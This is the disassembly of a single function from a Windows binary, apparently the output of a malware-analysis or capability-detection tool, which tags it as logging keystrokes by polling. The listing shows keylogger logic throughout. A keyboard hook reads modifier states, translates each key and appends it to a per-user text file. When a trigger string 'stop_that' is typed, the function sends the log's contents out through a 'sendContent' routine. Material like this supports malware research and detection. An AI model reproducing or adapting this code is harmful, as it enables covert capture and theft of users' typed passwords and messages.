Function at 0x140002615
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x710
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x6b0], ecx
mov qword [rbp + 0x6b8], rdx
mov qword [rbp + 0x6c0], r8
movzx eax, byte [0x14010e0e0]
test al, al
sete al
test al, al
je 0x1400026c9
lea rax, [0x14010e0e0]
mov rcx, rax
call sym.__cxa_guard_acquire
test eax, eax
setne al
test al, al
je 0x1400026c9
mov esi, 0
lea rax, [rbp + 0x647]
mov qword [rbp + 0x670], rax
nop
nop
lea rax, [rbp + 0x647]
mov r8, rax
lea rax, str.stop_that
mov rdx, rax
lea rax, [0x14010e0c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [sym.__tcf_0]
mov rcx, rax
call dbg.atexit
lea rax, [0x14010e0e0]
mov rcx, rax
call sym.__cxa_guard_release
lea rax, [rbp + 0x647]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
movzx eax, byte [0x14010e0f8]
test al, al
sete al
test al, al
je 0x14000270c
lea rax, [0x14010e0f8]
mov rcx, rax
call sym.__cxa_guard_acquire
test eax, eax
setne al
test al, al
je 0x14000270c
call method.std::chrono::_V2::steady_clock.now__
mov qword [0x14010e0f0], rax
lea rax, [0x14010e0f8]
mov rcx, rax
call sym.__cxa_guard_release
cmp dword [rbp + 0x6b0], 0
jne 0x140002b47
cmp qword [rbp + 0x6b8], 0x100
je 0x140002737
cmp qword [rbp + 0x6b8], 0x104
jne 0x140002b47
mov rax, qword [rbp + 0x6c0]
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax]
mov dword [rbp + 0x684], eax
mov ecx, 0x11
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
shr ax, 0xf
mov byte [rbp + 0x683], al
mov ecx, 0x12
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
shr ax, 0xf
mov byte [rbp + 0x682], al
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
shr ax, 0xf
mov byte [rbp + 0x681], al
mov ecx, 0x5b
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
js 0x1400027c2
mov ecx, 0x5c
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x1400027c9
mov eax, 1
jmp 0x1400027ce
mov eax, 0
mov byte [rbp + 0x680], al
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.getUsername_abi:cxx11___
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x50]
lea r8, str..txt
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
cmp byte [rbp + 0x683], 0
jne 0x14000281b
cmp byte [rbp + 0x682], 0
jne 0x14000281b
cmp byte [rbp + 0x681], 0
jne 0x14000281b
cmp byte [rbp + 0x680], 0
je 0x14000288a
movzx r9d, byte [rbp + 0x680]
movzx r8d, byte [rbp + 0x681]
movzx edx, byte [rbp + 0x682]
movzx eax, byte [rbp + 0x683]
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x28], rcx
mov ecx, dword [rbp + 0x684]
mov dword [rsp + 0x20], ecx
mov ecx, eax
call sym.appendKeyCombo_bool__bool__bool__bool__unsigned_long__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, qword [rbp + 0x6c0]
mov rdx, qword [rbp + 0x6b8]
mov eax, dword [rbp + 0x6b0]
mov r9, rcx
mov r8, rdx
mov edx, eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CallNextHookEx]
call rax
mov rbx, rax
mov esi, 0
jmp 0x140002b19
lea rax, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
mov rax, qword [rbp + 0x688]
mov edx, dword [rax + 4]
lea r8, [rbp + 0x642]
lea rcx, [rbp - 0x10]
mov eax, dword [rbp + 0x684]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
mov r9, r8
mov r8, rcx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_ToUnicode]
call rax
cmp eax, 1
sete al
test al, al
je 0x140002b14
movzx eax, word [rbp + 0x642]
mov byte [rbp + 0x67f], al
call method.std::chrono::_V2::steady_clock.now__
mov qword [rbp + 0x638], rax
lea rax, [rbp + 0x638]
lea rdx, [0x14010e0f0]
mov rcx, rax
call sym._ZNSt6chronomiINS_3_V212steady_clockENS_8durationIxSt5ratioILx1ELx1000000000EEEES6_EENSt11common_typeIJT0_T1_EE4typeERKNS_10ti
mov qword [rbp + 0x648], rax
lea rax, [rbp + 0x648]
mov rcx, rax
call sym._ZNSt6chrono13duration_castINS_8durationIxSt5ratioILx1ELx1EEEExS2_ILx1ELx1000000000EEEENSt9enable_ifIXsrNS_13__is_durationIT_E
mov qword [rbp + 0x630], rax
lea rax, [rbp + 0x630]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.count___const
cmp rax, 9
setg al
test al, al
je 0x14000295b
lea rax, [rbp - 0x30]
mov rdx, rax
mov ecx, 0xa
call sym.writeKey_char__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
movsx eax, byte [rbp + 0x67f]
lea rdx, [rbp - 0x30]
mov ecx, eax
call sym.writeKey_char__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rax, qword [rbp + 0x638]
mov qword [0x14010e0f0], rax
mov eax, dword [0x14010e0e8]
cdqe
mov rdx, rax
lea rax, [0x14010e0c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long_
movzx eax, byte [rax]
cmp byte [rbp + 0x67f], al
sete al
test al, al
je 0x140002b0a
mov eax, dword [0x14010e0e8]
add eax, 1
mov dword [0x14010e0e8], eax
mov eax, dword [0x14010e0e8]
movsxd rsi, eax
lea rax, [0x14010e0c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
cmp rsi, rax
sete al
test al, al
je 0x140002b14
mov byte [0x14010e080], 1
lea rax, [rbp + 0x628]
lea rdx, [0x14010e088]
mov rcx, rax
call method.std::lock_guard_std::mutex_.lock_guard_std::mutex_
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x450]
mov r8d, 8
mov rcx, rax
call fcn.1400a6170
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.1400c52f0
lea rax, [rbp + 0x450]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.rdbuf___const
mov rdx, rax
lea rax, [rbp + 0xf0]
add rax, 0x10
mov rcx, rax
call method.std::ostream.operator___std::basic_streambuf_char__std::char_traits_char____
lea rax, [rbp + 0x450]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x650]
lea rdx, [rbp + 0xf0]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rdx, [rbp + 0x650]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.sendContent_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov esi, eax
lea rax, [rbp + 0x650]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test sil, sil
je 0x140002acd
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x280]
mov r8d, 0x20
mov rcx, rax
call fcn.1400a86d0
lea rax, [rbp + 0x280]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x280]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_PostQuitMessage]
call rax
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.1400c5e10
lea rax, [rbp + 0x450]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.basic_ifstream__
lea rax, [rbp + 0x628]
mov rcx, rax
call method.std::lock_guard_std::mutex_.lock_guard__
jmp 0x140002b14
mov dword [0x14010e0e8], 0
mov esi, 1
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp esi, 1
jne 0x140002b31
mov esi, 1
jmp 0x140002b36
mov esi, 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp esi, 1
jne 0x140002b75
mov rcx, qword [rbp + 0x6c0]
mov rdx, qword [rbp + 0x6b8]
mov eax, dword [rbp + 0x6b0]
mov r9, rcx
mov r8, rdx
mov edx, eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CallNextHookEx]
call rax
mov rbx, rax
nop
mov rax, rbx
jmp 0x140002c3e
add rsp, 0x710
pop rbx
pop rsi
pop rbp
ret